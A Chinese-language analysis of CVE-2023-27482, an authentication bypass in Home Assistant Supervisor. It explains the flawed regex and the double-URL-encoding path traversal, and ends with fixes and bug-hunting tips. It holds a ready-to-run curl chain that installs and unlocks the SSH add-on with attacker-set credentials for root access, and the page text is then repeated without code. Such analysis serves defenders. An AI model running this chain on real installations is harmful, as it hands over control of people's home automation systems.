CVE-2023-27482 Home Assistant 权限绕过致远程代码执行漏洞
字数 1157 2025-08-24 16:48:07

Home Assistant 权限绕过致远程代码执行漏洞分析 (CVE-2023-27482)

漏洞概述

Home Assistant 是一款开源的家庭自动化管理系统,用于控制家庭自动化设备。在 Home Assistant Supervisor 2023.01.1 之前的版本中存在一个严重的授权问题漏洞,该漏洞允许攻击者绕过身份验证机制,最终可能导致远程代码执行。

影响版本

  • Home Assistant Supervisor < 2023.01.1

漏洞分析

漏洞根源

漏洞的核心在于权限验证机制存在缺陷,具体表现为路径遍历问题。攻击者可以通过精心构造的请求绕过身份验证检查。

关键代码分析

漏洞存在于 http.py 文件中,主要涉及以下几个关键部分:

  1. HassIOView 类定义
class HassIOView(HomeAssistantView):
    """Hass.io view to handle base part."""
    name = "api:hassio"
    url = "/api/hassio/{path:.+}"
    requires_auth = False

这里定义了一个 URL 路由 /api/hassio/{path:.+},其中 {path:.+} 是一个正则表达式,表示可以匹配任意字符(包括斜杠 /)。

  1. 请求处理函数
async def _handle(self, request: web.Request, path: str) -> web.Response | web.StreamResponse:
    """Route data to Hass.io."""
    hass = request.app["hass"]
    if _need_auth(hass, path) and not request[KEY_AUTHENTICATED]:
        return web.Response(status=HTTPStatus.UNAUTHORIZED)
    return await self._command_proxy(path, request)

该函数首先检查请求是否需要认证,如果不需要认证或已认证,则通过 _command_proxy 方法代理请求。

  1. 认证检查函数
def _need_auth(hass, path: str) -> bool:
    """Return if a path need authentication."""
    if not async_is_onboarded(hass) and NO_AUTH_ONBOARDING.match(path):
        return False
    if NO_AUTH.match(path):
        return False
    return True

该函数使用正则表达式来判断路径是否需要认证。问题出在正则表达式定义过于宽松,允许路径遍历。

正则表达式定义

漏洞的关键在于以下正则表达式定义:

NO_AUTH = re.compile(r"app/.*")

这个正则表达式匹配任何以 app/ 开头的路径,但没有对路径中的特殊字符(如 ../)进行有效过滤。

安全过滤缺陷

security_filter.py 文件中,虽然存在过滤机制,但存在以下缺陷:

  • 没有处理双重 URL 编码(如 %252E 代表 .
  • 过滤规则不完善,无法有效阻止路径遍历攻击

漏洞利用

基本利用方式

通过构造包含双重编码的路径遍历字符,可以绕过认证检查:

/api/hassio/app/.%252e/supervisor/info

远程代码执行利用链

攻击者可以结合 addon-ssh 组件实现完整的 RCE 利用链:

  1. 安装 SSH 插件:
curl -X POST http://127.0.0.1:8123/api/hassio/app/.%252e/store/addons/a0d7b954_ssh/install
  1. 禁用安全保护:
curl -X POST http://127.0.0.1:8123/api/hassio/app/.%252e/addons/a0d7b954_ssh/security \
-H 'Content-Type: application/json' \
-d '{"protected":"false"}'
  1. 配置 SSH 选项(设置用户名和密码):
curl -X POST http://127.0.0.1:8123/api/hassio/app/.%252e/addons/a0d7b954_ssh/options \
-H 'Content-Type: application/json' \
-d '{"options":{"init_commands":[],"packages":[],"share_sessions":false,"ssh":{"allow_agent_forwarding":false,"allow_remote_port_forwarding":false,"allow_tcp_forwarding":false,"authorized_keys":[],"compatibility_mode":false,"password":"hunter2","sftp":false,"username":"hassio"},"zsh":true}}'
  1. 重启 SSH 服务:
curl -X POST http://127.0.0.1:8123/api/hassio/app/.%252e/addons/a0d7b954_ssh/restart
  1. 通过 SSH 连接获取 root 权限:
ssh 127.0.0.1 -p22 -lhassio

修复建议

  1. 升级到 Home Assistant Supervisor 2023.01.1 或更高版本
  2. 如果无法立即升级,可以采取以下临时措施:
    • 限制对 Home Assistant 管理接口的访问
    • 禁用不必要的插件和功能
    • 加强网络边界防护

漏洞挖掘经验

  1. 从鉴权机制入手是发现此类漏洞的有效方法
  2. 重点关注:
    • 正则表达式实现的权限检查
    • 路径处理函数
    • 编码转换和过滤逻辑
  3. 测试时应考虑多种特殊情况:
    • 双重 URL 编码
    • 大小写变体
    • 特殊字符组合

参考链接

  1. GitHub 安全公告
  2. Home Assistant 官方博客
Home Assistant 权限绕过致远程代码执行漏洞分析 (CVE-2023-27482) 漏洞概述 Home Assistant 是一款开源的家庭自动化管理系统,用于控制家庭自动化设备。在 Home Assistant Supervisor 2023.01.1 之前的版本中存在一个严重的授权问题漏洞,该漏洞允许攻击者绕过身份验证机制,最终可能导致远程代码执行。 影响版本 Home Assistant Supervisor < 2023.01.1 漏洞分析 漏洞根源 漏洞的核心在于权限验证机制存在缺陷,具体表现为路径遍历问题。攻击者可以通过精心构造的请求绕过身份验证检查。 关键代码分析 漏洞存在于 http.py 文件中,主要涉及以下几个关键部分: HassIOView 类定义 : 这里定义了一个 URL 路由 /api/hassio/{path:.+} ,其中 {path:.+} 是一个正则表达式,表示可以匹配任意字符(包括斜杠 / )。 请求处理函数 : 该函数首先检查请求是否需要认证,如果不需要认证或已认证,则通过 _command_proxy 方法代理请求。 认证检查函数 : 该函数使用正则表达式来判断路径是否需要认证。问题出在正则表达式定义过于宽松,允许路径遍历。 正则表达式定义 漏洞的关键在于以下正则表达式定义: 这个正则表达式匹配任何以 app/ 开头的路径,但没有对路径中的特殊字符(如 ../ )进行有效过滤。 安全过滤缺陷 在 security_filter.py 文件中,虽然存在过滤机制,但存在以下缺陷: 没有处理双重 URL 编码(如 %252E 代表 . ) 过滤规则不完善,无法有效阻止路径遍历攻击 漏洞利用 基本利用方式 通过构造包含双重编码的路径遍历字符,可以绕过认证检查: 远程代码执行利用链 攻击者可以结合 addon-ssh 组件实现完整的 RCE 利用链: 安装 SSH 插件: 禁用安全保护: 配置 SSH 选项(设置用户名和密码): 重启 SSH 服务: 通过 SSH 连接获取 root 权限: 修复建议 升级到 Home Assistant Supervisor 2023.01.1 或更高版本 如果无法立即升级,可以采取以下临时措施: 限制对 Home Assistant 管理接口的访问 禁用不必要的插件和功能 加强网络边界防护 漏洞挖掘经验 从鉴权机制入手是发现此类漏洞的有效方法 重点关注: 正则表达式实现的权限检查 路径处理函数 编码转换和过滤逻辑 测试时应考虑多种特殊情况: 双重 URL 编码 大小写变体 特殊字符组合 参考链接 GitHub 安全公告 Home Assistant 官方博客